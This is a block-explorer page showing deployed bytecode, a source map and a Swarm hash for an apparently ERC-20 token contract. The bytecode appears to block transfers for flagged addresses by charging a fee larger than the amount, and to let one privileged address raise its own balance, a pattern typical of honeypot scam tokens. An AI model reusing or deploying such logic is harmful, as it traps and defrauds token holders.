180910390a35060019392505050565b600b805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e5057610e5061132e565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ea9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ecd91906112d5565b81600181518110610ee057610ee061132e565b6001600160a01b039283166020918202929092010152600a54610f069130911684610974565b600a5460035460405163791ac94760e01b81526001600160a01b039283169263791ac94792610f4a9287926000928892610100909104909116904290600401611344565b600060405180830381600087803b158015610f6457600080fd5b505af1925050508015610f75575060015b505050600b805460ff60a01b19169055565b60006105b383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ce8565b6001600160a01b038316600090815260076020526040812054819060ff161561100a576064610ff98460036113b5565b61100391906113cc565b9050611045565b6001600160a01b03841660009081526007602052604090205460ff16156110455760646110388460036113b5565b61104291906113cc565b90505b6001600160a01b0385166000908152600860205260409020541561107c5761106e8360056113b5565b611079906001611308565b90505b80156110e75730600090815260046020526040812080548392906110a1908490611308565b909155505060405181815230906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b610d198382610f87565b6000806110fe8385611308565b9050838110156105b35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610610565b600060208083528351808285015260005b8181101561117d57858101830151858201604001528201611161565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146111b357600080fd5b50565b600080604083850312156111c957600080fd5b82356111d48161119e565b946020939093013593505050565b6000806000606084860312156111f757600080fd5b83356112028161119e565b925060208401356112128161119e565b929592945050506040919091013590565b60006020828403121561123557600080fd5b81356105b38161119e565b6000806040838503121561125357600080fd5b823561125e8161119e565b9150602083013561126e8161119e565b809150509250929050565b6000806040838503121561128c57600080fd5b50508035926020909101359150565b600181811c908216806112af57607f821691505b6020821081036112cf57634e487b7160e01b600052602260045260246000fd5b50919050565b6000602082840312156112e757600080fd5b81516105b38161119e565b634e487b7160e01b600052601160045260246000fd5b80820180821115610549576105496112f2565b81810381811115610549576105496112f2565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156113945784516001600160a01b03168352938301939183019160010161136f565b50506001600160a01b03969096166060850152505050608001529392505050565b8082028115828204841417610549576105496112f2565b6000826113e957634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220de6cc6e6eec4a834c029073117e3296c4d080740f7f1b62edbfe9f2745078c3264736f6c63430008120033

Deployed Bytecode Sourcemap

3936:6317:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5210:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5873:161;;;;;;;;;;-1:-1:-1;5873:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;5873:161:0;1023:187:1;4603:41:0;;;;;;;;;;-1:-1:-1;4603:41:0;;;;-1:-1:-1;;;;;4603:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;4603:41:0;1215:229:1;5487:100:0;;;;;;;;;;-1:-1:-1;5567:12:0;;5487:100;;;1595:25:1;;;1583:2;1568:18;5487:100:0;1449:177:1;6424:313:0;;;;;;;;;;-1:-1:-1;6424:313:0;;;;;:::i;:::-;;:::i;4175:81::-;;;;;;;;;;;;;;;5396:83;;;;;;;;;;-1:-1:-1;5462:9:0;;5396:83;;5462:9;;;;2442:36:1;;2430:2;2415:18;5396:83:0;2300:184:1;4384:50:0;;;;;;;;;;-1:-1:-1;4384:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6920:459;;;;;;;;;;;;;:::i;:::-;;4718:40;;;;;;;;;;-1:-1:-1;4718:40:0;;;;-1:-1:-1;;;4718:40:0;;;;;;4140:28;;;;;;;;;;-1:-1:-1;4140:28:0;;;;;;;-1:-1:-1;;;;;4140:28:0;;;4487:41;;;;;;;;;;-1:-1:-1;4487:41:0;;;;;:::i;:::-;;;;;;;;;;;;;;5595:119;;;;;;;;;;-1:-1:-1;5595:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5688:18:0;5661:7;5688:18;;;:9;:18;;;;;;;5595:119;3012:79;;;;;;;;;;-1:-1:-1;3050:7:0;3077:6;-1:-1:-1;;;;;3077:6:0;3012:79;;5301:87;;;;;;;;;;;;;:::i;6745:167::-;;;;;;;;;;-1:-1:-1;6745:167:0;;;;;:::i;:::-;;:::i;4441:39::-;;;;;;;;;;-1:-1:-1;4441:39:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4651:26;;;;;;;;;;-1:-1:-1;4651:26:0;;;;-1:-1:-1;;;;;4651:26:0;;;9217:280;;;;;;;;;;-1:-1:-1;9217:280:0;;;;;:::i;:::-;;:::i;5722:143::-;;;;;;;;;;-1:-1:-1;5722:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;5830:18:0;;;5803:7;5830:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5722:143;9507:183;;;;;;;;;;-1:-1:-1;9507:183:0;;;;;:::i;:::-;;:::i;3226:157::-;;;;;;;;;;-1:-1:-1;3226:157:0;;;;;:::i;:::-;;:::i;5210:83::-;5247:13;5280:5;5273:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5210:83;:::o;5873:161::-;5948:4;5965:39;451:10;5988:7;5997:6;5965:8;:39::i;:::-;-1:-1:-1;6022:4:0;5873:161;;;;;:::o;6424:313::-;6522:4;6539:36;6549:6;6557:9;6568:6;6539:9;:36::i;:::-;-1:-1:-1;6586:121:0;6595:6;451:10;6617:89;6655:6;6617:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6617:19:0;;;;;;:11;:19;;;;;;;;451:10;6617:33;;;;;;;;;;:37;:89::i;:::-;6586:8;:121::i;:::-;-1:-1:-1;6725:4:0;6424:313;;;;;;:::o;6920:459::-;3139:6;;-1:-1:-1;;;;;3139:6:0;451:10;3139:22;3131:67;;;;-1:-1:-1;;;3131:67:0;;4198:2:1;3131:67:0;;;4180:21:1;;;4217:18;;;4210:30;4276:34;4256:18;;;4249:62;4328:18;;3131:67:0;;;;;;;;;6963:35:::1;7020:42;6963:100;;7106:16;-1:-1:-1::0;;;;;7106:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7088:70:0::1;;7167:4;7174:16;-1:-1:-1::0;;;;;7174:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7088:110;::::0;-1:-1:-1;;;;;;7088:110:0::1;::::0;;;;;;-1:-1:-1;;;;;4843:15:1;;;7088:110:0::1;::::0;::::1;4825:34:1::0;4895:15;;4875:18;;;4868:43;4760:18;;7088:110:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7074:11;:124:::0;;-1:-1:-1;;;;;7074:124:0;;::::1;-1:-1:-1::0;;;;;;7074:124:0;;::::1;::::0;::::1;::::0;;;7211:15:::1;:34:::0;;;;::::1;::::0;;;::::1;::::0;;;::::1;::::0;;7074:11:::1;7256:28:::0;;;:6:::1;:28;::::0;;;;;;;:35;;-1:-1:-1;;7256:35:0::1;7074:124:::0;7256:35:::1;::::0;;7357:12:::1;::::0;7322:4:::1;7302:26:::0;;:11:::1;:26:::0;;;;;7337:15;;;;::::1;7302:52:::0;;;;;;;;;:67;6920:459::o;5301:87::-;5340:13;5373:7;5366:14;;;;;:::i;6745:167::-;6823:4;6840:42;451:10;6864:9;6875:6;6840:9;:42::i;9217:280::-;9299:4;9282:13;:21;9278:98;;9360:4;9340:18;9360:4;9346:12;9340:18;:::i;:::-;:24;;;;:::i;:::-;9330:5;;;;;-1:-1:-1;;;;;9330:5:0;9320:16;;;;:9;:16;;;;;:44;;:16;;;:44;;;;;:::i;:::-;;;;-1:-1:-1;;9278:98:0;9390:18;9398:3;9403:4;9390:6;:18::i;:::-;9386:47;;;-1:-1:-1;;;;;9411:12:0;;9427:3;9411:12;;;:5;:12;;;;;:20;9386:47;9447:19;9455:4;9461;9447:6;:19::i;:::-;9443:47;;;-1:-1:-1;;;;;9469:12:0;;;;;;:5;:12;;;;;:19;;;9443:47;9217:280;;:::o;9507:183::-;9598:5;;9573:4;;9598:5;;;-1:-1:-1;;;;;9598:5:0;9607:10;9598:19;9590:28;;;;;;-1:-1:-1;9668:14:0;;9507:183::o;3226:157::-;3139:6;;-1:-1:-1;;;;;3139:6:0;451:10;3139:22;3131:67;;;;-1:-1:-1;;;3131:67:0;;4198:2:1;3131:67:0;;;4180:21:1;;;4217:18;;;4210:30;4276:34;4256:18;;;4249:62;4328:18;;3131:67:0;3996:356:1;3131:67:0;3300:6:::1;:19:::0;;-1:-1:-1;;;;;;3300:19:0::1;-1:-1:-1::0;;;;;3300:19:0;::::1;::::0;;::::1;::::0;;3335:40:::1;::::0;3300:19;;;;3335:40:::1;::::0;3300:6;3335:40:::1;3226:157:::0;:::o;6042:337::-;-1:-1:-1;;;;;6135:19:0;;6127:68;;;;-1:-1:-1;;;6127:68:0;;5386:2:1;6127:68:0;;;5368:21:1;5425:2;5405:18;;;5398:30;5464:34;5444:18;;;5437:62;-1:-1:-1;;;5515:18:1;;;5508:34;5559:19;;6127:68:0;5184:400:1;6127:68:0;-1:-1:-1;;;;;6214:21:0;;6206:68;;;;-1:-1:-1;;;6206:68:0;;5791:2:1;6206:68:0;;;5773:21:1;5830:2;5810:18;;;5803:30;5869:34;5849:18;;;5842:62;-1:-1:-1;;;5920:18:1;;;5913:32;5962:19;;6206:68:0;5589:398:1;6206:68:0;-1:-1:-1;;;;;6287:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6339:32;;1595:25:1;;;6339:32:0;;1568:18:1;6339:32:0;;;;;;;6042:337;;;:::o;7387:990::-;7465:4;-1:-1:-1;;;;;7492:18:0;;7484:68;;;;-1:-1:-1;;;7484:68:0;;6194:2:1;7484:68:0;;;6176:21:1;6233:2;6213:18;;;6206:30;6272:34;6252:18;;;6245:62;-1:-1:-1;;;6323:18:1;;;6316:35;6368:19;;7484:68:0;5992:401:1;7484:68:0;-1:-1:-1;;;;;7571:16:0;;7563:64;;;;-1:-1:-1;;;7563:64:0;;6600:2:1;7563:64:0;;;6582:21:1;6639:2;6619:18;;;6612:30;6678:34;6658:18;;;6651:62;-1:-1:-1;;;6729:18:1;;;6722:33;6772:19;;7563:64:0;6398:399:1;7563:64:0;7651:16;;-1:-1:-1;;;7651:16:0;;;;7648:722;;;7700:32;7715:4;7721:2;7725:6;7700:14;:32::i;:::-;7693:39;;;;7648:722;7833:4;7784:28;5688:18;;;:9;:18;;;;;;7859:16;;-1:-1:-1;;;7859:16:0;;;;7858:17;:34;;;;-1:-1:-1;;;;;;7880:12:0;;;;;;:6;:12;;;;;;;;7879:13;7858:34;7854:124;;;7926:36;7941:20;7926:14;:36::i;:::-;-1:-1:-1;;;;;8012:15:0;;;;;;:9;:15;;;;;;:27;;8032:6;8012:19;:27::i;:::-;-1:-1:-1;;;;;7994:15:0;;;;;;:9;:15;;;;;;;;:45;;;;8077:17;:23;;;;;;;;;:48;;-1:-1:-1;;;;;;8104:21:0;;;;;;:17;:21;;;;;;;;8077:48;8076:128;;8181:23;8187:4;8193:2;8197:6;8181:5;:23::i;:::-;8076:128;;;8172:6;8076:128;-1:-1:-1;;;;;8249:13:0;;;;;;:9;:13;;;;;;8054:150;;-1:-1:-1;8249:30:0;;8054:150;8249:17;:30::i;:::-;-1:-1:-1;;;;;8233:13:0;;;;;;;:9;:13;;;;;;;:46;;;;8301:31;;;;;;;;;;8320:11;1595:25:1;;1583:2;1568:18;;1449:177;8301:31:0;;;;;;;;8354:4;8347:11;;;;;;1637:192;1723:7;1759:12;1751:6;;;;1743:29;;;;-1:-1:-1;;;1743:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1783:9:0;1795:5;1799:1;1795;:5;:::i;:::-;1783:17;1637:192;-1:-1:-1;;;;;1637:192:0:o;8385:330::-;8515:53;;;;;;;;;;;-1:-1:-1;;;8515:53:0;;;;;;;;-1:-1:-1;;;;;8515:17:0;;8478:4;8515:17;;;:9;:17;;;;;;;:53;;8537:6;;8515:21;:53::i;:::-;-1:-1:-1;;;;;8495:17:0;;;;;;;:9;:17;;;;;;:73;;;;8602:20;;;;;;;:32;;8627:6;8602:24;:32::i;:::-;-1:-1:-1;;;;;8579:20:0;;;;;;;:9;:20;;;;;;;:55;;;;8650:35;;;;;;;;;;8678:6;1595:25:1;;1583:2;1568:18;;1449:177;8650:35:0;;;;;;;;-1:-1:-1;8703:4:0;8385:330;;;;;:::o;8723:486::-;4799:16;:23;;-1:-1:-1;;;;4799:23:0;-1:-1:-1;;;4799:23:0;;;8818:16:::1;::::0;;8832:1:::1;8818:16:::0;;;;;::::1;::::0;;-1:-1:-1;;8818:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;8818:16:0::1;8794:40;;8863:4;8845;8850:1;8845:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8845:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;8889:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;8889:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;8845:7;;8889:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8879:4;8884:1;8879:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8879:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;8956:15:::1;::::0;8924:57:::1;::::0;8941:4:::1;::::0;8956:15:::1;8974:6:::0;8924:8:::1;:57::i;:::-;8998:15;::::0;9144:5:::1;::::0;8998:193:::1;::::0;-1:-1:-1;;;8998:193:0;;-1:-1:-1;;;;;8998:15:0;;::::1;::::0;:66:::1;::::0;:193:::1;::::0;9079:6;;8998:15:::1;::::0;9117:4;;8998:15:::1;9144:5:::0;;::::1;::::0;;::::1;::::0;9165:15:::1;::::0;8998:193:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;8994:208:::0;-1:-1:-1;;4845:16:0;:24;;-1:-1:-1;;;;4845:24:0;;;8723:486::o;1493:136::-;1551:7;1578:43;1582:1;1585;1578:43;;;;;;;;;;;;;;;;;:3;:43::i;9698:546::-;-1:-1:-1;;;;;9833:14:0;;9783:7;9833:14;;;:6;:14;;;;;;9783:7;;9833:14;;9830:152;;;9887:3;9873:11;:7;9883:1;9873:11;:::i;:::-;:17;;;;:::i;:::-;9864:26;;9830:152;;;-1:-1:-1;;;;;9910:17:0;;;;;;:6;:17;;;;;;;;9907:75;;;9967:3;9953:11;:7;9963:1;9953:11;:::i;:::-;:17;;;;:::i;:::-;9944:26;;9907:75;-1:-1:-1;;;;;9997:13:0;;;;;;:5;:13;;;;;;:18;9994:56;;10035:11;:7;10045:1;10035:11;:::i;:::-;:15;;10049:1;10035:15;:::i;:::-;10026:24;;9994:56;10066:10;;10063:135;;10111:4;10093:24;;;;:9;:24;;;;;:34;;10121:6;;10093:24;:34;;10121:6;;10093:34;:::i;:::-;;;;-1:-1:-1;;10147:39:0;;1595:25:1;;;10172:4:0;;-1:-1:-1;;;;;10147:39:0;;;;;1583:2:1;1568:18;10147:39:0;;;;;;;10063:135;10217:19;:7;10229:6;10217:11;:19::i;1302:181::-;1360:7;;1392:5;1396:1;1392;:5;:::i;:::-;1380:17;;1421:1;1416;:6;;1408:46;;;;-1:-1:-1;;;1408:46:0;;8781:2:1;1408:46:0;;;8763:21:1;8820:2;8800:18;;;8793:30;8859:29;8839:18;;;8832:57;8906:18;;1408:46:0;8579:351:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2489:247::-;2548:6;2601:2;2589:9;2580:7;2576:23;2572:32;2569:52;;;2617:1;2614;2607:12;2569:52;2656:9;2643:23;2675:31;2700:5;2675:31;:::i;2965:388::-;3033:6;3041;3094:2;3082:9;3073:7;3069:23;3065:32;3062:52;;;3110:1;3107;3100:12;3062:52;3149:9;3136:23;3168:31;3193:5;3168:31;:::i;:::-;3218:5;-1:-1:-1;3275:2:1;3260:18;;3247:32;3288:33;3247:32;3288:33;:::i;:::-;3340:7;3330:17;;;2965:388;;;;;:::o;3358:248::-;3426:6;3434;3487:2;3475:9;3466:7;3462:23;3458:32;3455:52;;;3503:1;3500;3493:12;3455:52;-1:-1:-1;;3526:23:1;;;3596:2;3581:18;;;3568:32;;-1:-1:-1;3358:248:1:o;3611:380::-;3690:1;3686:12;;;;3733;;;3754:61;;3808:4;3800:6;3796:17;3786:27;;3754:61;3861:2;3853:6;3850:14;3830:18;3827:38;3824:161;;3907:10;3902:3;3898:20;3895:1;3888:31;3942:4;3939:1;3932:15;3970:4;3967:1;3960:15;3824:161;;3611:380;;;:::o;4357:251::-;4427:6;4480:2;4468:9;4459:7;4455:23;4451:32;4448:52;;;4496:1;4493;4486:12;4448:52;4528:9;4522:16;4547:31;4572:5;4547:31;:::i;4922:127::-;4983:10;4978:3;4974:20;4971:1;4964:31;5014:4;5011:1;5004:15;5038:4;5035:1;5028:15;5054:125;5119:9;;;5140:10;;;5137:36;;;5153:18;;:::i;6802:128::-;6869:9;;;6890:11;;;6887:37;;;6904:18;;:::i;7067:127::-;7128:10;7123:3;7119:20;7116:1;7109:31;7159:4;7156:1;7149:15;7183:4;7180:1;7173:15;7199:980;7461:4;7509:3;7498:9;7494:19;7540:6;7529:9;7522:25;7566:2;7604:6;7599:2;7588:9;7584:18;7577:34;7647:3;7642:2;7631:9;7627:18;7620:31;7671:6;7706;7700:13;7737:6;7729;7722:22;7775:3;7764:9;7760:19;7753:26;;7814:2;7806:6;7802:15;7788:29;;7835:1;7845:195;7859:6;7856:1;7853:13;7845:195;;;7924:13;;-1:-1:-1;;;;;7920:39:1;7908:52;;8015:15;;;;7980:12;;;;7956:1;7874:9;7845:195;;;-1:-1:-1;;;;;;;8096:32:1;;;;8091:2;8076:18;;8069:60;-1:-1:-1;;;8160:3:1;8145:19;8138:35;8057:3;7199:980;-1:-1:-1;;;7199:980:1:o;8184:168::-;8257:9;;;8288;;8305:15;;;8299:22;;8285:37;8275:71;;8326:18;;:::i;8357:217::-;8397:1;8423;8413:132;;8467:10;8462:3;8458:20;8455:1;8448:31;8502:4;8499:1;8492:15;8530:4;8527:1;8520:15;8413:132;-1:-1:-1;8559:9:1;;8357:217::o

Swarm Source

ipfs://de6cc6e6eec4a834c029073117e3296c4d080740f7f1b62edbfe9f2745078c32
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.